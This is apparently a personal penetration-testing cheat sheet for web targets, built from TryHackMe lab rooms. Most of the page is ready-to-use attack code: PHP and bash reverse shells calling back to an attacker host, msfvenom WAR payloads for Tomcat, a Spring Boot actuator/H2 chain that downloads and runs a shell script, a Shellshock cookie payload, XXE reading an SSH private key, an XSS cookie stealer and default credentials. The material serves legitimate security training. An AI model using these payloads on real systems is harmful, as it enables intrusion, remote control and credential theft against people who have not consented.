# Web

## Wordpress

### Reverse Shell #1 - Edit existing Plugin

**Examples**&#x20;

[#initial-shell](../../../walkthroughs/tryhackme/wordpress-cve-2021-29447#initial-shell "mention")

**Kali**

```
git clone https://github.com/pentestmonkey/php-reverse-shell.git
cp php-reverse-shell/php-reverse-shell.php .
subl php-reverse-shell.php 
```

Update the page with your reverse shell then save. This will make the plugin not appear anymore under Installed Plugins

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FgMOFtzYcC3aMMW7HKCow%2Fimage.png?alt=media&#x26;token=8297e07f-ff17-42b8-bdfa-b2be86c7a728" alt=""><figcaption></figcaption></figure>

Curl the page to activate it.

**Kali**

```
curl http://$VICTIM/wp-content/plugins/akismet/akismet.php
```

### Reverse Shell  #2 - Upload Plugin

**Examples**&#x20;

[mr-robot-ctf](../../walkthroughs/tryhackme/mr-robot-ctf "mention")[retro](../../walkthroughs/tryhackme/retro "mention")

**revshell.php code**

```
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/$KALI/443 0>&1'");
?>
```

**Kali**

```
vi revshell.php
zip revshell.zip revshell.php
nc -lvnp 443
```

## TomCat

### Common usernames and passwords

**Examples**

[thompson](../../walkthroughs/tryhackme/thompson "mention")

```
tomcat
s3cret
```

### Reverse Shell

**Examples**

[thompson](../../walkthroughs/tryhackme/thompson "mention")

**Kali**

<pre><code><strong>msfvenom -p java/jsp_shell_reverse_tcp LHOST=$KALI LPORT=1337 -f war > rshell.war
</strong>nc -lvnp 1337
</code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2ForvkqCR1u5ixM11RlBBK%2Fimage.png?alt=media&#x26;token=a01066e3-ae6f-41e8-8b8e-4bb2286ed270" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FXo1imzB8PX0nfqNcx5QL%2Fimage.png?alt=media&#x26;token=51771678-001b-4ef1-b396-ca7c3ba5b1a3" alt=""><figcaption></figcaption></figure>



## Spring Boot&#x20;

### Reverse Shell

**Examples**

[#initial-shell](../../../walkthroughs/tryhackme/spring#initial-shell "mention")

**Exploit:** [https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database/](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database/)

**Kali #1**

```
tcpdump -i ens5 icmp
```

Below example checks the IP which may not be necessary.&#x20;

**Kali #2**

<pre><code>curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' --data-binary $'{\"name\":\"spring.datasource.hikari.connection-test-query\",\"value\":\"CREATE ALIAS EXEC AS CONCAT(\'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new\',\' java.util.Scanner(Runtime.getRun\',\'time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }\');CALL EXEC(\'ping -c 5 $KALI\');\"}' "https://$VICTIM/actuator/env" -k
<strong>
</strong>curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' "https://$VICTIM/actuator/restart" -k
</code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F1OBpu2dYTXw4DoHS92Bc%2Fimage.png?alt=media&#x26;token=b5806237-b483-45d4-acfe-b76e348c45d2" alt=""><figcaption></figcaption></figure>

**reverse.sh**

```
bash -c "bash -i >& /dev/tcp/$KALI/1337 0>&1"
```

**Kali #1**

```
python3 -m http.server 81
```

**Kali #2**

```
nc -lvnp 1337
```

Download payload

**Kali #3**

```
curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' --data-binary $'{\"name\":\"spring.datasource.hikari.connection-test-query\",\"value\":\"CREATE ALIAS EXEC AS CONCAT(\'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new\',\' java.util.Scanner(Runtime.getRun\',\'time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }\');CALL EXEC(\'wget http://$KALI:81/reverse.sh -O /tmp/reverse.sh\');\"}' "https://$VICTIM/actuator/env" -k

curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' "https://$VICTIM/actuator/restart" -k
```

Run payload

**Kali #3**

```
curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' --data-binary $'{\"name\":\"spring.datasource.hikari.connection-test-query\",\"value\":\"CREATE ALIAS EXEC AS CONCAT(\'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new\',\' java.util.Scanner(Runtime.getRun\',\'time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }\');CALL EXEC(\'bash /tmp/reverse.sh\');\"}' "https://$VICTIM/actuator/env" -k

curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' "https://$VICTIM/actuator/restart" -k
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FCxMMtSG04IUc0DHtKfpW%2Fimage.png?alt=media&#x26;token=fce08e96-3488-4652-871c-e318fab57f79" alt=""><figcaption></figcaption></figure>

## See CMDS from page source

**Examples**

[jack-of-all-trades](../../walkthroughs/tryhackme/jack-of-all-trades "mention")

Sometimes you can't see the results of the output from the page so you need to check the page source.

```
view-source:http://$VICTIM:22/nnxhweOV/index.php?cmd=whoami
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fj91VBRrsc6qLWm58nO94%2Fimage.png?alt=media&#x26;token=4a3d6a95-2e1f-4833-994d-0646986c053e" alt=""><figcaption></figcaption></figure>

**Kali**

```
nc -lvnp 1337
```

**Browser**

```
view-source:http://$VICTIM:22/nnxhweOV/index.php?cmd=nc%20-c%20sh%2010.10.154.80%201337
```



## CGI-Bin

### Scanning

**Examples**

[0day](../../walkthroughs/tryhackme/0day "mention")

See if a cgi-bin folder appears in the inital scans, if it does start scanning that direcoty for .cgi files.

**Kali**

```
gobuster dir -u http://$VICTIM/cgi-bin/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt,cgi
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fli5vWpbKnnc1z4cN3Zyv%2Fimage.png?alt=media&#x26;token=d2283279-f63f-426e-a086-05f783007d28" alt=""><figcaption></figcaption></figure>

### Shell

**Examples**

[0day](../../walkthroughs/tryhackme/0day "mention")

**Link:** [https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/cgi](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/cgi)

**Kali#1**

```
nc -lvnp 4242
```

**Kali #2**

```
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/$KALI/4242 0>&1' http://$VICTIM/cgi-bin/test.cgi 
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FjYeTM5LfUjY0BwsYw6KM%2Fimage.png?alt=media&#x26;token=7d8ecf30-2898-45f3-a63f-e1f6afad6d21" alt=""><figcaption></figcaption></figure>



## Change request type

**Examples**

[mothers-secret](../../walkthroughs/tryhackme/mothers-secret "mention")

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fk0MowH98gD2nPoah62Zr%2Fimage.png?alt=media&#x26;token=6c2de8aa-3ceb-4fe4-bb1c-449834727a7a" alt=""><figcaption></figcaption></figure>

Change the request to POST and add everything else highlighted, we see the status message now changes.

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FB8tC6p7fYQHAqAuhA2Jl%2Fimage.png?alt=media&#x26;token=b2ad771b-5ebe-41f7-aeeb-1b995054e1d8" alt=""><figcaption></figcaption></figure>



Now we change the yaml to the the emergency override code mentioned in the room.

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FOjgdHXWxz2AuaeeecbiV%2Fimage.png?alt=media&#x26;token=a288b194-f2b1-4513-af6d-744f336d8fb5" alt=""><figcaption></figcaption></figure>

Now we perform the same steps again except this time for the api/nostromo route and the new file we discovered.

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FRozP2ys9F2cguAYzZgvK%2Fimage.png?alt=media&#x26;token=0e614873-8c9d-438c-a7b8-5792eccaf90e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FGP9AIBDgFqCQdfq9kuRv%2Fimage.png?alt=media&#x26;token=d8bbfbdb-e5d2-41d6-a4aa-faa79345dd15" alt=""><figcaption></figcaption></figure>



<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FxzGX9qnZqE266oTGMnOE%2Fimage.png?alt=media&#x26;token=87a7a3c8-4705-4285-a21c-a2fb9d2b96a7" alt=""><figcaption></figcaption></figure>

## **WebDav Cadvaer**&#x20;

If server is using WebDav and we have credentials we can login and upload files.

**Examples**

[dav](../../walkthroughs/tryhackme/dav "mention")

**Kali**

<pre><code><strong>cadaver http://$VICTIM:80/webdav
</strong>Username: wampp
<strong>Password: xampp
</strong>dav:/webdav/> put shell.php shell.php
</code></pre>



## XXE Injection

### Exploiting XXE - In-Band

**Examples**

[#exploiting-xxe-in-band](../../../walkthroughs/tryhackme/xxe-injection#exploiting-xxe-in-band "mention")

### Exploiting XXE - Out-of-Band

**Examples**

[#exploiting-xxe-out-of-band](../../../walkthroughs/tryhackme/xxe-injection#exploiting-xxe-out-of-band "mention")

### SSRF + XXE

**Examples**

[#ssrf--xxe](../../../walkthroughs/tryhackme/xxe-injection#ssrf--xxe "mention")



## XML-RPC

### Check if it is enabled

**Examples**

[retro](../../walkthroughs/tryhackme/retro "mention")

wpscan or a scan maybe able identified that xmlrpc.php exists, if it is check if it is enabled.

```
POST /$SITE/xmlrpc.php HTTP/1.1
Host: $VICTIM
Content-Length: 91

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FWeNRj2JeKNjEtVytsAIN%2Fimage.png?alt=media&#x26;token=26b6cc25-239d-402c-bc94-65d11694c02f" alt=""><figcaption></figcaption></figure>

### View Files

**Examples**

[mustacchio](../../walkthroughs/tryhackme/mustacchio "mention")[#xee-read-files](../../../walkthroughs/tryhackme/battery#xee-read-files "mention")

**Input**

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///home/barry/.ssh/id_rsa'>]>
<comment>
  <name>Joe Hamd</name>
  <author>Barry Clad</author>
  <com>&xxe;</com>
</comment>
```

Base64 encode the file

```
<!DOCTYPE replace [<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=acc.php"> ]>

<search>&test;</search>
```

## XSS

### Reflected XSS

**Examples**

[#reflected-xss](../../../walkthroughs/tryhackme/xss#reflected-xss "mention")

[#cve-2023-38501-vulnerable-web-application-1](../../../walkthroughs/tryhackme/xss#cve-2023-38501-vulnerable-web-application-1 "mention")

### Stored XSS

**Examples**

[#reflected-xss](../../../walkthroughs/tryhackme/xss#reflected-xss "mention")

[#cve-2021-38757-vulnerable-web-application-2](../../../walkthroughs/tryhackme/xss#cve-2021-38757-vulnerable-web-application-2 "mention")

### Dom-Based XSS

**Examples**

[#dom-based-xss](../../../walkthroughs/tryhackme/xss#dom-based-xss "mention")

### XSS - Steal JVT

**Examples**

[#xss-steal-jvt](../../../walkthroughs/tryhackme/the-marketplace#xss-steal-jvt "mention")

[https://jwt.io/](https://jwt.io/)

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FWbZMoREhXQlqN21sTeiK%2Fimage.png?alt=media&#x26;token=ce90a1a4-5574-447a-9dd8-195dc28347cb" alt=""><figcaption></figcaption></figure>



<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FdLMQOIJtPWQtpWg1IHuX%2Fimage.png?alt=media&#x26;token=df05effd-d0ea-45d3-9442-87757cb9c169" alt=""><figcaption></figcaption></figure>





I tried updating the token it didn't work

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F6QFZrhVhfMrs7hjTloi3%2Fimage.png?alt=media&#x26;token=105f00ab-30c3-4edb-bc40-59db9414c1ff" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FfTDfyy804Th4qhSxDeP5%2Fimage.png?alt=media&#x26;token=3a6b37f7-434f-4a4d-abbc-3a01ae922580" alt=""><figcaption></figcaption></figure>



Next we're going to try to steal the JWT from another user.

**Kali**

```
nc -lvnp 4444
```

**Browser**

```
<script>document.location='http://$KALI:4444/XSS/grabber.php?c='+document.cookie</script>
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F4zqCv3xWAPq9rrqOM1qx%2Fimage.png?alt=media&#x26;token=3b893665-614a-4640-83bf-79664a8187b8" alt=""><figcaption></figcaption></figure>

This was annoying because if I went to my posts it wouldn't work so I went to Jakes post and changed the number from 2 to 6 to get to the report page. Then just clicked the report button

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FqcsBEqHy64eDQhnvBkPf%2Fimage.png?alt=media&#x26;token=1f62c578-9835-4038-8719-4638d8ec0690" alt=""><figcaption></figcaption></figure>

we got a token from a user that isn't us

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FZME6Me1qI8IO0i4WeCzV%2Fimage.png?alt=media&#x26;token=ae7bd507-414a-4348-9095-c14f37683a8c" alt=""><figcaption></figcaption></figure>



We can see it is from Michael who is an admin.

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FlmiYNAgBsIdf30dBG67p%2Fimage.png?alt=media&#x26;token=5b95888d-1b40-42c0-b945-5aac3b248e7e" alt=""><figcaption></figcaption></figure>





<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FkLEegabirjD3aQ4Mnix6%2Fimage.png?alt=media&#x26;token=d85a0fc6-f809-4a6a-b092-c5bb277cbb8a" alt=""><figcaption></figcaption></figure>





Sent again but this time just forwarded the request so we could see what that script was doing

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FHWcQ2HFpiLU9k2RnDHPg%2Fimage.png?alt=media&#x26;token=4f3648ec-6ed2-434c-abda-2a7ac667f929" alt=""><figcaption></figcaption></figure>



The script was printing the flag

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F0D6iiYOg52UGHRAjj2EC%2Fimage.png?alt=media&#x26;token=a6503a30-8a21-42d1-977e-2ec756eb2c2f" alt=""><figcaption></figcaption></figure>

This wasn't working before but after next time I went to this box tried I could just update the cookie from the browser and it worked.

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FLkfUG6xAeEzNzqMvz6RM%2Fimage.png?alt=media&#x26;token=aa2b03b9-ee7b-40f8-a176-7434696241a6" alt=""><figcaption></figcaption></figure>

**Brower cookie**

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsInVzZXJuYW1lIjoibWljaGFlbCIsImFkbWluIjp0cnVlLCJpYXQiOjE3MDE1MjgzODN9.O8218jJ0nmWedeewklX6fkb9sjlgH81ciU7dJG5l9YY
```

## CSRF

**Examples**

[csrf](../../walkthroughs/tryhackme/csrf "mention")



